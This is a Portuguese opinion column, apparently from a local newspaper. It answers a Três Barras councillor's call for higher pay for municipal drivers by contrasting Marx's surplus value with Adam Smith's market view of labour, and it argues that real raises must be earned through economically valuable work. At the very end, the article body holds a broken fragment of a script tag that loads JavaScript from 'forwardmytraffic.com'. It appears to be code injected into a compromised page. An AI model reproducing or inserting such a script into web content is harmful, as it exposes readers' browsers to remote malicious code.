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É comum vermos pessoas e entidades de classes, principalmente os sindicatos, vociferando quando o assunto é aumento de salário e meritocracia.

 

 

Recentemente um vereador de Três Barras usou a tribuna para defender o aumento de salário para os motoristas da prefeitura. Muito oportuno, levando em conta que o mesmo é motorista da prefeitura.

 

 

Diante disso, me sinto na obrigação de opinar sobre salários, aumentos e reajustes.

 

 

Dentre as diferentes maneiras de se definir o valor do trabalho, duas delas tem importância no mundo real. Quando se fala mais-valia, uma expressão criada por Carl Marx para definir o valor do trabalho, significa parte do valor da força de trabalho dispendida por um determinado trabalhador na produção e que não é remunerado pelo patrão. Em outras palavras, o trabalhador seria explorado pelo patrão.

 

 

Mas existe outro conceito, usado no mundo real, definido por Adam Smith no século XVIII, que basicamente define o trabalho como uma mercadoria, e que seu valor está sujeito às leis do mercado, como a lei de demanda e oferta.  Ou seja, o seu trabalho vale quanto alguém está disposto a pagar por ele.

 

 

Obvio que ambos os conceitos estão apresentados aqui de maneira simples. Mas convenhamos que a definição de Marx não tem lógica quando avaliamos o contexto geral do trabalho.

 

 

Mas é fato que o conceito aplicado à sociedade contemporânea é o definido por Adam Smith, ou seja, você recebe pelo seu trabalho o que as pessoas ,ou no caso as empresas, estão dispostas a pagar.

 

 

Vejamos, o valor social de um professor de ensino básico é muito maior que o valor social de um jogador de futebol como o Neymar, mas será que você pagaria R$ 100,00 por duas horas de aula de um professor do primário? Quantas pessoas pagariam? Agora, você pagaria R$ 100,00 para ver uma partida de futebol com o Neymar? Quantas pessoas pagariam? A julgar pela quantidade de gente presente nos jogos do menino Ney, muitíssimas pessoas pagam e muito para vê-lo jogar.

 

 

Logo, qual trabalho é mais valioso do ponto de vista econômico?

 

Por isso, é correto somente reajustes para repor a inflação do período, que é a desvalorização do dinheiro, caso as pessoas queiram aumentos reais, façam por merecer. Aí entra a meritocracia, fazer por merecer não é necessariamente trabalhar muito, mas sim, fazer um trabalho com maior valor econômico agregado.  Muito usual nesse caso é uma formação acadêmica, ou até buscar outro emprego em outra área.

 

 

Mas falar dos salários dos motoristas da prefeitura é um pouco mais complexo, porque quem define o valor do trabalho deles não são necessariamente as regras do valor econômico, e sim, as regras do valor social. Ou seja, não são medidos pelo quanto as pessoas estão dispostas a pagar pelo trabalho deles, mas sim pelo quanto a sociedade crê que eles devem valer. E como os recursos públicos utilizados para pagá-los não são administrados pelos principais interessados, as distorções, tanto para mais quanto para menos, são comuns.

 

 

Então, se você quer aumentos verdadeiros de salários, faça um trabalho mais valioso economicamente…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

Equipe Gazeta
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